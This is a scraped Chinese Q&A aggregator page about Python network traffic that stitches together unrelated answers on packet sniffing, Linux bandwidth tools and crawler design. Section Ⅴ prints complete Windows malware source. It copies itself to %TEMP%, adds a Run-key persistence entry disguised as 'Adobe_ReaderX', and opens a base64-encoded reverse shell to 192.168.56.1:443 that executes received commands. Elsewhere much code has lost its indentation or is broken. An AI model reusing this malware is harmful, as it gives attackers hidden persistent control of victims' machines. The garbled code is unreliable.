當前位置:首頁 » 編程語言 » python網路流量

python網路流量

發布時間: 2022-07-12 03:47:47

python 怎麼獲取一個埠或者一個進程的網路流量

import socket
import struct
import thread
import threading
import time
import os

net_data = {}
d_net_info = {}
lock = threading.Lock()

def print_data():
while True:
lock.acquire()
for key in net_data:
print "%s %s\n"%(key, net_data[key])
lock.release()
time.sleep(5);

def get_net_info():
net_info = os.popen('netstat -nbo').readlines()

for l in net_info[4:]:
s = l.split()
if len(s)>2:
key = "%s %s"%(s[1],s[2])
key2 = "%s %s"%(s[2],s[1])
else:
if not d_net_info.has_key(key):
d_net_info[key] = s[0]
d_net_info[key2] = s[0]

def get_packet():
HOST = socket.gethostbyname(socket.gethostname())
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_IP)
s.bind((HOST, 0))

Ⅱ python接收數據為字元串怎麼計算數據流量

將字元轉位元組,再計算位元組長度即流量大小(單位:B)

Size = len(bytes("mystr", "utf-8"))

個人博客:CSDN

Ⅲ python能做流量回放嗎

可以。對於單個請求的回放不難做,本項目主要是簡單封裝了python requests模塊來實現。

Ⅳ 關於監控系統進程網路流量,如何把下面Python的源代碼做成EXE並在這個可執行文件中添加管理進程的模塊

把這個東西改名成ce.PY
然後放到EXE同目錄下..
再用import ce
就可以啦
我QQ475090118

Ⅳ 如何用Python和PyInstaller編寫Windows惡意代碼

import sys, base64, os, socket, subprocess
from _winreg import *
def autorun(tempdir, fileName, run):
# Copy executable to %TEMP%:
os.system(' %s %s'%(fileName, tempdir))
# Queries Windows registry for key values
# Appends autorun key to runkey array
key = OpenKey(HKEY_LOCAL_MACHINE, run)
runkey =[]
try:
i = 0
while True:
subkey = EnumValue(key, i)
runkey.append(subkey[0])
i += 1
except WindowsError:
pass
# Set autorun key:
if 'Adobe ReaderX' not in runkey:
try:
key= OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS)
SetValueEx(key ,'Adobe_ReaderX',0,REG_SZ,r"%TEMP%\mw.exe")
key.Close()
except WindowsError:
pass
在將代碼放到 %TEMP%目錄中並且設置了持續性之後,我們就可以執行下一部分代碼,反向的殼。這里我利用了TrustedSec公布的python的反向shell,不過進行了一些修改—對網路流量進行Base64編碼。
def shell():#Base64 encoded reverse shell s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('192.168.56.1', int(443))) s.send('[*] Connection Established!') while 1: data = s.recv(1024) if data == "quit": break proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) stdout_value = proc.stdout.read() + proc.stderr.read() encoded = base64.b64encode(stdout_value) s.send(encoded) #s.send(stdout_value) s.close()def main(): tempdir = '%TEMP%' fileName = sys.argv[0] run = "Software\Microsoft\Windows\CurrentVersion\Run" autorun(tempdir, fileName, run) shell()if __name__ == "__main__": main()
現在當這個程序執行時,它將會打開一個反向shell返回到「攻擊者」。在這種情況下「攻擊者」只是腳本中硬編碼的ip,但在一個域或者亞馬遜雲上卻是非常簡單輕松的。下圖展示了程序在Windows主機上執行並連接到攻擊者,你可以注意到這里的網路流量是base64編碼的:

以下是完整的代碼:
import sys, base64, os, socket, subprocessfrom _winreg import *def autorun(tempdir, fileName, run):# Copy executable to %TEMP%: os.system(' %s %s'%(fileName, tempdir))# Queries Windows registry for the autorun key value# Stores the key values in runkey array key = OpenKey(HKEY_LOCAL_MACHINE, run) runkey =[] try: i = 0 while True: subkey = EnumValue(key, i) runkey.append(subkey[0]) i += 1 except WindowsError: pass# If the autorun key "Adobe ReaderX" isn't set this will set the key: if 'Adobe ReaderX' not in runkey: try: key= OpenKey(HKEY_LOCAL_MACHINE, run,0,KEY_ALL_ACCESS) SetValueEx(key ,'Adobe_ReaderX',0,REG_SZ,r"%TEMP%\mw.exe") key.Close() except WindowsError: passdef shell():#Base64 encoded reverse shell s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('192.168.56.1', int(443))) s.send('[*] Connection Established!') while 1: data = s.recv(1024) if data == "quit": break proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) stdout_value = proc.stdout.read() + proc.stderr.read() encoded = base64.b64encode(stdout_value) s.send(encoded) #s.send(stdout_value) s.close()def main(): tempdir = '%TEMP%' fileName = sys.argv[0] run = "Software\Microsoft\Windows\CurrentVersion\Run" autorun(tempdir, fileName, run) shell()if __name__ == "__main__": main()

Ⅵ 如何安裝網路流量監控工具vnStat和vnStati

下面是按功能劃分的命令名稱。
監控總體帶寬使用――nload、bmon、slurm、bwm-ng、cbm、speedometer和netload
監控總體帶寬使用(批量式輸出)――vnstat、ifstat、dstat和collectl
每個套接字連接的帶寬使用――iftop、iptraf、tcptrack、pktstat、netwatch和trafshow
每個進程的帶寬使用――nethogs
1. nload

nload是一個命令行工具,讓用戶可以分開來監控入站流量和出站流量。它還可以繪制圖表以顯示入站流量和出站流量,視圖比例可以調整。用起來很簡單,不支持許多選項。
所以,如果你只需要快速查看總帶寬使用情況,無需每個進程的詳細情況,那麼nload用起來很方便。
$ nload

安裝nload:Fedora和Ubuntu在默認軟體庫裡面就有nload。CentOS用戶則需要從Epel軟體庫獲得nload。
# fedora或centos $ yum install nload -y # ubuntu/debian $ sudo apt-get install nload

2. iftop
iftop可測量通過每一個套接字連接傳輸的數據;它採用的工作方式有別於nload。iftop使用pcap庫來捕獲進出網路適配器的數據包,然後匯總數據包大小和數量,搞清楚總的帶寬使用情況。
雖然iftop報告每個連接所使用的帶寬,但它無法報告參與某個套按字連接的進程名稱/編號(ID)。不過由於基於pcap庫,iftop能夠過濾流量,並報告由過濾器指定的所選定主機連接的帶寬使用情況。
$ sudo iftop -n

n選項可以防止iftop將IP地址解析成主機名,解析本身就會帶來額外的網路流量。

安裝iftop:Ubuntu/Debian/Fedora用戶可以從默認軟體庫獲得它。CentOS用戶可以從Epel獲得它。
# fedora或centos yum install iftop -y # ubuntu或 debian $ sudo apt-get install iftop

3. iptraf
iptraf是一款互動式、色彩鮮艷的IP區域網監控工具。它可以顯示每個連接以及主機之間傳輸的數據量。下面是屏幕截圖。

$ sudo iptraf

安裝iptraf:
# Centos(基本軟體庫) $ yum install iptraf # fedora或centos(帶epel) $ yum install iptraf-ng -y # ubuntu或debian $ sudo apt-get install iptraf iptraf-ng

4. nethogs
nethogs是一款小巧的"net top"工具,可以顯示每個進程所使用的帶寬,並對列表排序,將耗用帶寬最多的進程排在最上面。萬一出現帶寬使用突然激增的情況,用戶迅速打開nethogs,就可以找到導致帶寬使用激增的進程。nethogs可以報告程序的進程編號(PID)、用戶和路徑。
$ sudo nethogs

安裝nethogs:Ubuntu、Debian和Fedora用戶可以從默認軟體庫獲得。CentOS用戶則需要Epel。
# ubuntu或debian(默認軟體庫) $ sudo apt-get install nethogs # fedora或centos(來自epel) $ sudo yum install nethogs -y

5. bmon
bmon(帶寬監控器)是一款類似nload的工具,它可以顯示系統上所有網路介面的流量負載。輸出結果還含有圖表和剖面,附有數據包層面的詳細信息。

安裝bmon:Ubuntu、Debian和Fedora用戶可以從默認軟體庫來安裝。CentOS用戶則需要安裝repoforge,因為Epel裡面沒有bmon。
# ubuntu或debian $ sudo apt-get install bmon # fedora或centos(來自repoforge) $ sudo yum install bmon

bmon支持許多選項,能夠製作HTML格式的報告。欲知更多信息,請參閱參考手冊頁。
6. slurm
slurm是另一款網路負載監控器,可以顯示設備的統計信息,還能顯示ASCII圖形。它支持三種不同類型的圖形,使用c鍵、s鍵和l鍵即可激活每種圖形。slurm功能簡單,無法顯示關於網路負載的任何更進一步的詳細信息。
$ slurm -s -i eth0

安裝slurm
# debian或ubuntu $ sudo apt-get install slurm # fedora或centos $ sudo yum install slurm -y

7. tcptrack
tcptrack類似iftop,使用pcap庫來捕獲數據包,並計算各種統計信息,比如每個連接所使用的帶寬。它還支持標準的pcap過濾器,這些過濾器可用來監控特定的連接。

安裝tcptrack:Ubuntu、Debian和Fedora在默認軟體庫裡面就有它。CentOS用戶則需要從RepoForge獲得它,因為Epel裡面沒有它。
# ubuntu, debian $ sudo apt-get install tcptrack # fedora, centos(來自repoforge軟體庫) $ sudo yum install tcptrack

8. vnstat
vnstat與另外大多數工具有點不一樣。它實際上運行後台服務/守護進程,始終不停地記錄所傳輸數據的大小。之外,它可以用來製作顯示網路使用歷史情況的報告。
$ service vnstat status * vnStat daemon is running

運行沒有任何選項的vnstat,只會顯示自守護進程運行以來所傳輸的數據總量。
$ vnstat Database updated: Mon Mar 17 15:26:59 2014 eth0 since 06/12/13 rx: 135.14 GiB tx: 35.76 GiB total: 170.90 GiB monthly rx | tx | total | avg. rate ------------------------+-------------+-------------+------------- Feb '14 8.19 GiB | 2.08 GiB | 10.27 GiB | 35.60 kbit/s Mar '14 4.98 GiB | 1.52 GiB | 6.50 GiB | 37.93 kbit/s ------------------------+-------------+-------------+------------- estimated 9.28 GiB | 2.83 GiB | 12.11 GiB | daily rx | tx | total | avg. rate ------------------------+-------------+-------------+------------- yesterday 236.11 MiB | 98.61 MiB | 334.72 MiB | 31.74 kbit/s today 128.55 MiB | 41.00 MiB | 169.56 MiB | 24.97 kbit/s ------------------------+-------------+-------------+------------- estimated 199 MiB | 63 MiB | 262 MiB |

想實時監控帶寬使用情況,請使用"-l"選項(實時模式)。然後,它會顯示入站數據和出站數據所使用的總帶寬量,但非常精確地顯示,沒有關於主機連接或進程的任何內部詳細信息。
$ vnstat -l -i eth0 Monitoring eth0... (press CTRL-C to stop) rx: 12 kbit/s 10 p/s tx: 12 kbit/s 11 p/s

vnstat更像是一款製作歷史報告的工具,顯示每天或過去一個月使用了多少帶寬。它並不是嚴格意義上的實時監控網路的工具。
vnstat支持許多選項,支持哪些選項方面的詳細信息請參閱參考手冊頁。
安裝vnstat
# ubuntu或debian $ sudo apt-get install vnstat # fedora或 centos(來自epel) $ sudo yum install vnstat

9. bwm-ng
bwm-ng(下一代帶寬監控器)是另一款非常簡單的實時網路負載監控工具,可以報告摘要信息,顯示進出系統上所有可用網路介面的不同數據的傳輸速度。
$ bwm-ng bwm-ng v0.6 (probing every 0.500s), press 'h' for help input: /proc/net/dev type: rate / iface Rx Tx T ot================================================================= == eth0: 0.53 KB/s 1.31 KB/s 1.84 KB lo: 0.00 KB/s 0.00 KB/s 0.00 KB------------------------------------------------------------------------------------------------------------- total: 0.53 KB/s 1.31 KB/s 1.84 KB/s

如果控制台足夠大,bwm-ng還能使用curses2輸出模式,為流量繪制條形圖。
$ bwm-ng -o curses2

安裝bwm-ng:在CentOS上,可以從Epel來安裝bwm-ng。
# ubuntu或debian $ sudo apt-get install bwm-ng # fedora或centos(來自epel) $ sudo apt-get install bwm-ng

10. cbm:Color Bandwidth Meter

這是一款小巧簡單的帶寬監控工具,可以顯示通過諸網路介面的流量大小。沒有進一步的選項,僅僅實時顯示和更新流量的統計信息。
$ sudo apt-get install cbm

11. speedometer
這是另一款小巧而簡單的工具,僅僅繪制外觀漂亮的圖形,顯示通過某個介面傳輸的入站流量和出站流量。
$ speedometer -r eth0 -t eth0

安裝speedometer
# ubuntu或debian用戶 $ sudo apt-get install speedometer

12. pktstat

pktstat可以實時顯示所有活動連接,並顯示哪些數據通過這些活動連接傳輸的速度。它還可以顯示連接類型,比如TCP連接或UDP連接;如果涉及HTTP連接,還會顯示關於HTTP請求的詳細信息。
$ sudo pktstat -i eth0 -nt $ sudo apt-get install pktstat

13. netwatch

netwatch是netdiag工具庫的一部分,它也可以顯示本地主機與其他遠程主機之間的連接,並顯示哪些數據在每個連接上所傳輸的速度。
$ sudo netwatch -e eth0 -nt $ sudo apt-get install netdiag

14. trafshow
與netwatch和pktstat一樣,trafshow也可以報告當前活動連接、它們使用的協議以及每條連接上的數據傳輸速度。它能使用pcap類型過濾器,對連接進行過濾。
只監控TCP連接

$ sudo trafshow -i eth0 tcp $ sudo apt-get install netdiag

15. netload
netload命令只顯示關於當前流量負載的一份簡短報告,並顯示自程序啟動以來所傳輸的總位元組量。沒有更多的功能特性。它是netdiag的一部分。

$ netload eth0 $ sudo apt-get install netdiag

16. ifstat
ifstat能夠以批處理式模式顯示網路帶寬。輸出採用的一種格式便於用戶使用其他程序或實用工具來記入日誌和分析。
$ ifstat -t -i eth0 0.5 Time eth0 HH:MM:SS KB/s in KB/s out 09:59:21 2.62 2.80 09:59:22 2.10 1.78 09:59:22 2.67 1.84 09:59:23 2.06 1.98 09:59:23 1.73 1.79

安裝ifstat:Ubuntu、Debian和Fedora用戶在默認軟體庫裡面就有它。CentOS用戶則需要從Repoforge獲得它,因為Epel裡面沒有它。
# ubuntu, debian $ sudo apt-get install ifstat # fedora, centos(Repoforge) $ sudo yum install ifstat

17. dstat
dstat是一款用途廣泛的工具(用python語言編寫),它可以監控系統的不同統計信息,並使用批處理模式來報告,或者將相關數據記入到CSV或類似的文件。這個例子顯示了如何使用dstat來報告網路帶寬。
安裝dstat
$ dstat -nt -net/total- ----system---- recv send| time 0 0 |23-03 10:27:13 1738B 1810B|23-03 10:27:14 2937B 2610B|23-03 10:27:15 2319B 2232B|23-03 10:27:16 2738B 2508B|23-03 10:27:17

18. collectl
collectl以一種類似dstat的格式報告系統的統計信息;與dstat一樣,它也收集關於系統不同資源(如處理器、內存和網路等)的統計信息。這里給出的一個簡單例子顯示了如何使用collectl來報告網路使用/帶寬。
$ collectl -sn -oT -i0.5 waiting for 0.5 second sample... # <----------Network----------> #Time KBIn PktIn KBOut PktOut 10:32:01 40 58 43 66 10:32:01 27 58 3 32 10:32:02 3 28 9 44 10:32:02 5 42 96 96 10:32:03 5 48 3 28

安裝collectl
# Ubuntu/Debian用戶 $ sudo apt-get install collectl #Fedora $ sudo yum install collectl

Ⅶ python自動化腳本檢測是否開啟流量

會開啟流量的,需要注意流量使用情況。盡量使用WIFI鏈接,一則穩定。二則傳輸速度快

Ⅷ Python分布式爬蟲開發搜索引擎課程怎麼樣

1、 網路連接需要持續連接(persistent connection),DNS解析的瓶頸(先查本地DNS緩存

實現方法:基於python httplib(對http1.1完成對持續連接的支持(python的httplib完全支持http1.1),如果不是http1.1那麼可以使用urlopen對其進行一次連接)並對其socket對象進行控制,關鍵是加入對讀取DNS本地緩存(在我的機制下這個根本就不是主要問題可以暫時忽略),以及有settimeout(Igloo)(搞定,就用setdefaulttimeout())的支持(或者利用自己的DNS伺服器,進行優化處理),以及對sock對象的settimeout進行設置,防止長時間的等待一個有可能連接不上的web伺服器.(要測試一下連接模塊和DNS解析模塊在訪問不存在url在默認情況下的時間消耗)對站點的ip解析出來後就直接用ip進行連接而避免了重復調用DNS解析.例子:socket.gethostbyname("www.163.com")

網路連接下載模塊非常重要,需要精心反復測試,因為有可能碰到一些不規范的web伺服器,如果沒有加以考慮會使整個線程崩潰。

2、 多線程:機器任務的分配及站點任務的分配。

實現方法:(在某台機器上實現,在對本機內存cpu的消耗情況判斷後對機器任務進行分配;在對和站點的連接情況進行判斷後對站點任務進行分配)
機器任務的分配:對於機器負擔的情況調整在一個機器開的線程的個數。(在關閉線程時注意要先讓線程完成當前運行任務)
站點任務的分配:就是某個機器對一個站點開的線程的個數的分配。(同樣是要注意關閉線程時先讓其完成當前任務)

3、 對web文件樹遍歷過程更好的控制,對web文件樹在廣度優先遍歷時層次的判斷。(整個網路是一個圖,而某個站點的模型更接近於一棵樹)

實現方法:在每個地址進入隊列時加一個層次號,那麼要遍歷第n層的話那麼遍歷到第一個n+1就停止讀取。

4、 利用robotparser解析robots.txt

5、 單個機器spider的作用:

a) 同2多線程3文件樹的遍歷

b) 將獲取的外部url發回中央控制器,並從中央控制器取回新的外部url。

6、 中央控制器的作用:

a) 觀察各機器的狀態包括:cpu、內存、線程、站點、網路流量
b) 觀察對外整體網路流量和連接狀況,可以根據網路狀況來調節timeout。

c) 接受各個機器發送過來的外部url並對每個url的重復數字計數。然後分配到各個機器。(分配時要用爬行策略控制器對外部url進行排序來分配,Igloo利用Page Rank,我們可以使用最簡單的重復越多重要系數就越高來進行排序)

d) 分布式URL分配演算法:Igloo1.2的二級哈希映射演算法(集中式分配演算法那個中央控制器容易成為系統瓶頸)復習哈希演算法,還有就是對url是否訪問過的判斷(Igloo使用的是URL Trie滯後合並策略)。可以使用Berkeley DB作為URL Trie的替代品。兩種實現方式的比較:

i. 現在的想法:(面向站點,信息顆粒大)外部鏈接只是保存主機名比如:www.163.com, 站內訪問用解析好的ip地址維持連接,用相對鏈接來得到各個頁面,這樣就要維護一個外部鏈接列表,幾個站點的鏈接列表。優點:節省內存,對某個站點的信息獲取全面,對站點的出現頻率統計,排序,重要站點先取。 缺點:對鏈接的獲取的全面性得不到保證,而且不能獲取更多的重要頁面,每個站點的重要頁面也不會很多。
ii. 老方案:(面向頁面,信息顆粒小)所有連接一視同仁。缺點:浪費資源,對單一站點的獲取不一定全面。優點:可以得到全面的鏈接圖,可以使用Page Rank對列表進行排序,頁面更重要就在最前面。

7、 解析html(超級鏈接的提取)搞定(用python的sgmllib)缺點:速度太慢(可能會造成瓶頸,要好好包裝好,以後有機會換掉它)

Ⅸ python可以用來幹嘛

·Web應用開發
Python常被用於Web開發,隨著Python的Web開發框架逐漸成熟,如Django、flask等等,開發者們可以更輕松地開發和管理復雜的Web程序。通過mod_wsgi模塊,Apache可以運行Python編寫的Web程序,舉個最直觀的例子,全球最大的搜索引擎
Google,在其網路搜索系統中就廣泛使用 Python 語言。另外,我們經常訪問的集電影、讀書、音樂於一體的豆瓣網(如圖 1 所示),也是使用 Python
實現的。不僅如此,全球最大的視頻網站 Youtube 以及 Dropbox(一款網路文件同步工具)也都是用 Python 開發的。
·自動化運維
Python 是標準的系統組件,可以在終端下直接運行 Python。有一些 Linux 發行版的安裝器使用 Python 語言編寫,例如 Ubuntu 的
Ubiquity 安裝器、Red Hat Linux 和 Fedora 的 Anaconda 安裝器等等。另外,Python
標准庫中包含了多個可用來調用操作系統功能的庫。例如,通過 pywin32 這個軟體包,我們能訪問 Windows 的 COM 服務以及其他 Windows
API;使用 IronPython,我們能夠直接調用 .Net Framework。
·人工智慧領域
人工智慧是現如今非常火的一個方向, Python
在人工智慧領域內的機器學習、神經網路、深度學習等方面,都是主流的編程語言。可以這么說,基於大數據分析和深度學習發展而來的人工智慧,其本質上已經無法離開
Python 的支持了。
·網路爬蟲
Python語言很早就用來編寫網路爬蟲。Google 等搜索引擎公司大量地使用 Python 語言編寫網路爬蟲。從技術層面上將,Python
提供有很多服務於編寫網路爬蟲的工具,例如 urllib、Selenium 和 BeautifulSoup 等,還提供了一個網路爬蟲框架 Scrapy。
·游戲開發
很多游戲都是使用C++編寫圖形顯示等高性能的模塊,使用Python或Lua編寫游戲的邏輯,相比Python,Lua的功能更簡單,體積也更小,但Python支持更多的特性和數據類型。除此之外,Python
可以直接調用 Open GL 實現 3D 繪制,這是高性能游戲引擎的技術基礎。事實上,有很多 Python 語言實現的游戲引擎,例如 Pygame、Pyglet
以及 Cocos 2d 等。

Ⅹ Python如何讀取指定程序的上傳流量和下載流量,並進行調節

在沒有擴展模塊支持下,Python不能完成。

熱點內容
滑板鞋腳本視頻 發布:2025-02-02 09:48:54 瀏覽:432
群暉怎麼玩安卓模擬器 發布:2025-02-02 09:45:23 瀏覽:557
三星安卓12彩蛋怎麼玩 發布:2025-02-02 09:44:39 瀏覽:743
電腦顯示連接伺服器錯誤 發布:2025-02-02 09:24:10 瀏覽:536
瑞芯微開發板編譯 發布:2025-02-02 09:22:54 瀏覽:146
linux虛擬機用gcc編譯時顯示錯誤 發布:2025-02-02 09:14:01 瀏覽:232
java駝峰 發布:2025-02-02 09:13:26 瀏覽:651
魔獸腳本怎麼用 發布:2025-02-02 09:10:28 瀏覽:532
linuxadobe 發布:2025-02-02 09:09:43 瀏覽:212
sql2000資料庫連接 發布:2025-02-02 09:09:43 瀏覽:726